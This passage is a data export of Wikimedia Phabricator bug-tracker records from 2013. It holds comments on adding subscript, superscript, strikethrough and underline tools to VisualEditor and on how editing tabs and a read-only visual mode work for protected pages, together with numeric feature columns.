https://gerrit.wikimedia.org/r/78495",,,1376619387,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,1.0,"Change 78495 merged by jenkins-bot:
Create a subscript tool

GERRIT_URL"
233834,VisualEditor: Tool to set/unset text as subscript,"Change 78495 had a related patch set uploaded by Steven Zhang:
Add subscript tool

https://gerrit.wikimedia.org/r/78495",,,1376120249,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 78495 had a related patch set uploaded by Steven Zhang:
Add subscript tool

GERRIT_URL"
233827,VisualEditor: Tool to set/unset text as subscript,"An editor at en.wp has noted that subscript is requried to be able to correctly edit some articles, ""ECG leads, e.g. V4"" was the example given.",,,1374927410,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-f6ao6kmtchv7v27bft42,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,10.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.806451612903226,0.9032258064516129,"An editor at en.wp has noted that subscript is requried to be able to correctly edit some articles, ""ECG leads, e.g. V4"" was the example given."
53611,VisualEditor: Tool to set/unset text as superscript,"

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374158700,1376619787.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rdzse5grzzixnnifzj2z,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233804,VisualEditor: Tool to set/unset text as superscript,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.,,,1376619787,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.953488372093023,0.7674418604651163,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.
233800,VisualEditor: Tool to set/unset text as superscript,"Change 78490 merged by jenkins-bot:
Create a superscript tool

https://gerrit.wikimedia.org/r/78490",,,1376619344,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 78490 merged by jenkins-bot:
Create a superscript tool

GERRIT_URL"
233793,VisualEditor: Tool to set/unset text as superscript,"Change 78490 had a related patch set uploaded by Steven Zhang:
Add a superscript tool

https://gerrit.wikimedia.org/r/78490",,,1376116614,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,26.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,0.9473684210526315,"Change 78490 had a related patch set uploaded by Steven Zhang:
Add a superscript tool

GERRIT_URL"
233788,VisualEditor: Tool to set/unset text as superscript,"As explained elsewhere, this is trivial to do but would make the toolbar (even more) unwieldy for all users, and so I de-prioritised it whilst waiting for a way to have lots of these icons available without filling everyone's screens with buttons most of them don't want to touch.

We're working right now on a first draft which we think will help with the clutter, at which point making these tools is a work of minutes.",,,1375304078,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,True,,,4,,1.0,1.0,0.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,1.0,3.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,2.0,1.0,6.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,3.0,1.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,1.0,4.0,1.0,1.0,0.0,3.898876404494382,0.8202247191011236,"As explained elsewhere, this is trivial to do but would make the toolbar (even more) unwieldy for all users, and so I de-prioritised it whilst waiting for a way to have lots of these icons available without filling everyone's screens with buttons most of them don't want to touch.

We're working right now on a first draft which we think will help with the clutter, at which point making these tools is a work of minutes."
233782,VisualEditor: Tool to set/unset text as superscript,"A user at en.wp has noted the lack of a tool to set superscript means that the article [[Spiral Dynamics]] cannot be completely edited in VE.

The ability to set superscript and subscript are essential features for writing about many articles in the science, maths and technology fields, so it should be a core competence of the VisualEditor rather than a low-priority enhancement.",,,1375263490,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-rdzse5grzzixnnifzj2z,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,1.0,1.0,1.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,16.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,3.0,4.266666666666667,0.7866666666666666,"A user at en.wp has noted the lack of a tool to set superscript means that the article [[Spiral Dynamics]] cannot be completely edited in VE.

The ability to set superscript and subscript are essential features for writing about many articles in the science, maths and technology fields, so it should be a core competence of the VisualEditor rather than a low-priority enhancement."
53610,VisualEditor: Tool to set/unset text as strikethrough,"

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374158700,1375865291.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ascdutdvqb4aq6opfuse,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233743,VisualEditor: Tool to set/unset text as strikethrough,Done by Peter C. at Wikimania 2013 Hacking Days. Yay.,,,1375865291,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ascdutdvqb4aq6opfuse,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,58.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9166666666666666,Done by Peter C. at Wikimania 2013 Hacking Days. Yay.
233736,VisualEditor: Tool to set/unset text as strikethrough,"Change 78019 merged by jenkins-bot:
Create strikethrough text style button

https://gerrit.wikimedia.org/r/78019",,,1375865057,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ascdutdvqb4aq6opfuse,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.875,1.0,"Change 78019 merged by jenkins-bot:
Create strikethrough text style button

GERRIT_URL"
233731,VisualEditor: Tool to set/unset text as strikethrough,"Change 78019 had a related patch set uploaded by Peter.C:
Create strikethrough text style button

https://gerrit.wikimedia.org/r/78019",,,1375863283,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ascdutdvqb4aq6opfuse,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 78019 had a related patch set uploaded by Peter.C:
Create strikethrough text style button

GERRIT_URL"
53609,VisualEditor: Tool to set/unset text as underlined,"

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374158700,1376619782.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233684,VisualEditor: Tool to set/unset text as underlined,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.,,,1376619782,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.953488372093023,0.7674418604651163,Now merged into master; will be deployed (as experimental) in the next push (so will be available on MediaWiki.org) - we will make this available to production wikis next week when we re-work the toolbar.
233677,VisualEditor: Tool to set/unset text as underlined,"Change 78488 merged by jenkins-bot:
Create an underline tool

https://gerrit.wikimedia.org/r/78488",,,1376619184,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 78488 merged by jenkins-bot:
Create an underline tool

GERRIT_URL"
233671,VisualEditor: Tool to set/unset text as underlined,"Change 78488 had a related patch set uploaded by Steven Zhang:
Create an underline tool

https://gerrit.wikimedia.org/r/78488",,,1376114307,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dwpuhdlnvzi2y7re3asf,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,26.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.526315789473684,1.0,"Change 78488 had a related patch set uploaded by Steven Zhang:
Create an underline tool

GERRIT_URL"
53549,"VisualEditor: Show two editing/view source tabs at all times, even if you can't edit page because it's protected","When viewing an article you have permission to edit, you see two tabs at the top - ""Edit"" and ""Edit source"". When viewing an article you don't have permission to edit, you see only one - ""view source"".

This is not good UI design There needs to always be the same number of tabs displayed. Ideally there should be tabs to ""view source"" and ""view visual source"" (with better wording though!), see Bug 51547.

If a read-only editor is not possible or not available then that tab needs to pop up a message saying that editing is restricted currently/until xx:xx for <log entry> and that they can view the wikitext source if they want (linked to an explanation what that means).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374077880,1385386552.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-qh3lrsa2vheyfhks3klm,task_description,declined,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.5,2.0,5.0,1.5,0.0,0.5,1.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,7.0,8.5,0.0,2.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,6.0,2.0,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,12.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,4.5,2.5,6.5,3.5,2.0,6.0,0.0,0.0,0.5,0.0,6.0,0.0,1.5,0.0,3.0,8.5,2.5,0.0,5.0,0.0,3.0,0.0,1.5,2.5,0.0,1.5,0.5,0.0,0.5,3.659783480352847,0.6537022186581127,"When viewing an article you have permission to edit, you see two tabs at the top - ""Edit"" and ""Edit source"". When viewing an article you don't have permission to edit, you see only one - ""view source"".

This is not good UI design There needs to always be the same number of tabs displayed. Ideally there should be tabs to ""view source"" and ""view visual source"" (with better wording though!), see Bug 51547.

If a read-only editor is not possible or not available then that tab needs to pop up a message saying that editing is restricted currently/until xx:xx for <log entry> and that they can view the wikitext source if they want (linked to an explanation what that means).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
434334,"VisualEditor: Show two editing/view source tabs at all times, even if you can't edit page because it's protected","Comment... I think it might be useful to have the suggested ""view visual source"" tab, primarily to enable copying content such as references between protected and non-protected articles. However, I do grok the additional layers of complexity this would entail...",,,1427495377,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-qh3lrsa2vheyfhks3klm,task_subcomment,,True,c1,3,False,,,90,,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,8.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.551020408163265,0.8571428571428571,"Comment... I think it might be useful to have the suggested ""view visual source"" tab, primarily to enable copying content such as references between protected and non-protected articles. However, I do grok the additional layers of complexity this would entail..."
254667,"VisualEditor: Show two editing/view source tabs at all times, even if you can't edit page because it's protected","A ""read-only editor"" is the view mode… I'm not really sure there's much value in going down the route, but instead we'd want to combine the two edit tabs together (except for users with VisualEditor disabled).",,,1385386552,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qh3lrsa2vheyfhks3klm,task_subcomment,,True,c1,3,True,,,21,,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,2.0,4.0,0.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,12.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.625,0.9375,"A ""read-only editor"" is the view mode… I'm not really sure there's much value in going down the route, but instead we'd want to combine the two edit tabs together (except for users with VisualEditor disabled)."
53547,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","There should be a view-source equivalent for the visual editor so that people can see the page in VE as if the could edit it. It should allow them to interrogate things like template, so they can find out which template is producing what they see and how it does that. ~~When VE can cope with copy+paste, then~~ this will also allow them to copy and paste the relevant image/template/whatever to whatever article they are working on.

**See Also**:
* T54004
* T54091",Low,25.0,1374077700,1555440155.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,9.0,0.0,1.5,1.0,0.5,0.0,0.0,1.0,0.5,0.0,2.5,1.0,0.0,3.0,2.5,2.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.5,3.0,1.5,7.5,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.5,9.0,3.5,0.0,0.0,0.0,5.5,0.0,4.0,0.5,1.5,1.5,0.0,0.0,0.0,3.7941176470588234,0.8235294117647058,"There should be a view-source equivalent for the visual editor so that people can see the page in VE as if the could edit it. It should allow them to interrogate things like template, so they can find out which template is producing what they see and how it does that. ~~When VE can cope with copy+paste, then~~ this will also allow them to copy and paste the relevant image/template/whatever to whatever article they are working on.

**See Also**:
* T54004
* T54091"
1232779,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages",">>! In T53547#4983051, @matmarex wrote:
>>>! In T53547#4977960, @Schnark wrote:
>>> Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).
>> And if the user doesn't have NWE enabled, switching back to wikitext gives an error: ""Error loading data from server: readonly.""
> This doesn't happen for me locally, only on Beta, which has been stuck in readonly mode for two weeks now.

My comment was wrong anyway, as I actually did have NWE enabled. But whatever, switching now works on Beta as expected, both with NWE and without.",,,1551172044,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,295,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,27.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,15.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.707317073170732,0.7073170731707317,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

My comment was wrong anyway, as I actually did have NWE enabled. But whatever, switching now works on Beta as expected, both with NWE and without."
1232562,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages",">>! In T53547#4977960, @Schnark wrote:
>> Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).
> And if the user doesn't have NWE enabled, switching back to wikitext gives an error: ""Error loading data from server: readonly.""
